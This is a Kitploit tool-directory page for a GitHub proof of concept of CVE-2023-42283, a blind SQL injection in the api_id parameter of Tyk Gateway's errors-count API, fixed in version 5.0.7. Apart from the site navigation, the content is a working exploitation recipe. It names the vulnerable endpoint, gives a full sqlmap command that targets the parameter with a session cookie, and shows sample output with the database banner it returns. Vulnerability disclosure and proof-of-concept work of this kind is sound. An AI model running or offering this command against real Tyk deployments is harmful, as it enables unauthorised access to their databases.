Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-42283 — Proof of concept for CVE-2023-42283 in Tyk Gateway | Kitploit
Tools/GitHubGitHub/andreysanyuk/cve-2023-42283
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubandreysanyuk/cve-2023-42283

CVE-2023-42283

Proof of concept for CVE-2023-42283 in Tyk Gateway

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Disclaimer

For educational purpose only!

Details

Proof of concept for CVE-2023-42283. Tyk Gateway is vulnerable to SQL injection. Fixed in 5.0.7 version.

The URL parameter ‘api_id’ of the "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>"is vulnerable to Blind SQL injection.

Exploitation

Use sqlmap with following parameters:

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner

SQL DB banner is returned in response:

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Download Tool